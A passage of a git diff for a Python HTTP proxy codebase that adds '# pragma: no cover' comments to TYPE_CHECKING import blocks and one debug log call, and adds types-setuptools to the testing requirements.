100644 --- a/proxy/core/acceptor/acceptor.py +++ b/proxy/core/acceptor/acceptor.py @@ -237,7 +237,7 @@ def _work(self, conn: socket.socket, addr: Optional[Tuple[str, int]]) -> None: event_queue=self.event_queue, publisher_id=self.__class__.__name__, ) - logger.debug( + logger.debug( # pragma: no cover 'Started work#{0}.{1}.{2} in thread#{3}'.format( conn.fileno(), self.idd, self._total, thread.ident, ), diff --git a/proxy/core/connection/pool.py b/proxy/core/connection/pool.py index 2be383d58e..399aa5923d 100644 --- a/proxy/core/connection/pool.py +++ b/proxy/core/connection/pool.py @@ -139,7 +139,7 @@ async def handle_events(self, readables: Readables, _writables: Writables) -> bo has somehow reached an illegal state e.g. upstream sending data for previous connection acquisition lifecycle.""" for fileno in readables: - if TYPE_CHECKING: + if TYPE_CHECKING: # pragma: no cover assert isinstance(fileno, int) logger.debug('Upstream fd#{0} is read ready'.format(fileno)) self._remove(fileno) diff --git a/proxy/core/work/delegate.py b/proxy/core/work/delegate.py index 2e5325fb86..5a176e8992 100644 --- a/proxy/core/work/delegate.py +++ b/proxy/core/work/delegate.py @@ -11,7 +11,7 @@ from typing import TYPE_CHECKING, Optional, Tuple from multiprocessing.reduction import send_handle -if TYPE_CHECKING: +if TYPE_CHECKING: # pragma: no cover import socket import multiprocessing from multiprocessing import connection diff --git a/proxy/core/work/pool.py b/proxy/core/work/pool.py index 066b644124..0a28ff1b50 100644 --- a/proxy/core/work/pool.py +++ b/proxy/core/work/pool.py @@ -20,7 +20,7 @@ from ...common.flag import flags from ...common.constants import DEFAULT_NUM_WORKERS, DEFAULT_THREADLESS -if TYPE_CHECKING: +if TYPE_CHECKING: # pragma: no cover from ..event import EventQueue logger = logging.getLogger(__name__) diff --git a/proxy/core/work/threaded.py b/proxy/core/work/threaded.py index b9e9c91326..4e583a0ded 100644 --- a/proxy/core/work/threaded.py +++ b/proxy/core/work/threaded.py @@ -17,7 +17,7 @@ from ..connection import TcpClientConnection from ..event import EventQueue, eventNames -if TYPE_CHECKING: +if TYPE_CHECKING: # pragma: no cover from .work import Work diff --git a/proxy/core/work/threadless.py b/proxy/core/work/threadless.py index d56cfe27e1..d713e94440 100644 --- a/proxy/core/work/threadless.py +++ b/proxy/core/work/threadless.py @@ -28,7 +28,7 @@ from ..connection import TcpClientConnection, UpstreamConnectionPool from ..event import eventNames -if TYPE_CHECKING: +if TYPE_CHECKING: # pragma: no cover from typing import Any from ..event import EventQueue diff --git a/proxy/core/work/work.py b/proxy/core/work/work.py index 206fb735b9..5c94d2bf53 100644 --- a/proxy/core/work/work.py +++ b/proxy/core/work/work.py @@ -21,7 +21,7 @@ from ..event import eventNames, EventQueue from ...common.types import Readables, SelectableEvents, Writables -if TYPE_CHECKING: +if TYPE_CHECKING: # pragma: no cover from ..connection import UpstreamConnectionPool T = TypeVar('T') diff --git a/proxy/http/exception/base.py b/proxy/http/exception/base.py index 17a69bb689..e01be4abac 100644 --- a/proxy/http/exception/base.py +++ b/proxy/http/exception/base.py @@ -14,7 +14,7 @@ """ from typing import Any, Optional, TYPE_CHECKING -if TYPE_CHECKING: +if TYPE_CHECKING: # pragma: no cover from ..parser import HttpParser diff --git a/proxy/http/exception/http_request_rejected.py b/proxy/http/exception/http_request_rejected.py index baec9e997a..7c6f8d48be 100644 --- a/proxy/http/exception/http_request_rejected.py +++ b/proxy/http/exception/http_request_rejected.py @@ -14,7 +14,7 @@ from ...common.utils import build_http_response -if TYPE_CHECKING: +if TYPE_CHECKING: # pragma: no cover from ..parser import HttpParser diff --git a/proxy/http/exception/proxy_auth_failed.py b/proxy/http/exception/proxy_auth_failed.py index 76bdcf227c..4fbe62b4e6 100644 --- a/proxy/http/exception/proxy_auth_failed.py +++ b/proxy/http/exception/proxy_auth_failed.py @@ -19,7 +19,7 @@ from ..responses import PROXY_AUTH_FAILED_RESPONSE_PKT -if TYPE_CHECKING: +if TYPE_CHECKING: # pragma: no cover from ..parser import HttpParser diff --git a/proxy/http/exception/proxy_conn_failed.py b/proxy/http/exception/proxy_conn_failed.py index d6af42131e..7aa709235c 100644 --- a/proxy/http/exception/proxy_conn_failed.py +++ b/proxy/http/exception/proxy_conn_failed.py @@ -18,7 +18,7 @@ from ..responses import BAD_GATEWAY_RESPONSE_PKT -if TYPE_CHECKING: +if TYPE_CHECKING: # pragma: no cover from ..parser import HttpParser diff --git a/proxy/http/plugin.py b/proxy/http/plugin.py index 2eb5ec5414..fe44999444 100644 --- a/proxy/http/plugin.py +++ b/proxy/http/plugin.py @@ -21,7 +21,7 @@ from .descriptors import DescriptorsHandlerMixin from .mixins import TlsInterceptionPropertyMixin -if TYPE_CHECKING: +if TYPE_CHECKING: # pragma: no cover from ..core.connection import UpstreamConnectionPool diff --git a/proxy/http/proxy/plugin.py b/proxy/http/proxy/plugin.py index ee41a8424a..2f893d2e59 100644 --- a/proxy/http/proxy/plugin.py +++ b/proxy/http/proxy/plugin.py @@ -21,7 +21,7 @@ from ...core.event import EventQueue from ...core.connection import TcpClientConnection -if TYPE_CHECKING: +if TYPE_CHECKING: # pragma: no cover from ...core.connection import UpstreamConnectionPool diff --git a/proxy/http/server/plugin.py b/proxy/http/server/plugin.py index 5ea507eb86..dde91a9afa 100644 --- a/proxy/http/server/plugin.py +++ b/proxy/http/server/plugin.py @@ -20,7 +20,7 @@ from ...core.connection import TcpClientConnection from ...core.event import EventQueue -if TYPE_CHECKING: +if TYPE_CHECKING: # pragma: no cover from ...core.connection import UpstreamConnectionPool diff --git a/requirements-testing.txt b/requirements-testing.txt index 5b34d2b724..d1e7a42e1a 100644 --- a/requirements-testing.txt +++ b/requirements-testing.txt @@ -21,3 +21,4 @@ h2==4.1.0 hpack==4.0.0 hyperframe==6.0.1 pre-commit==2.16.0 +types-setuptools==57.4.7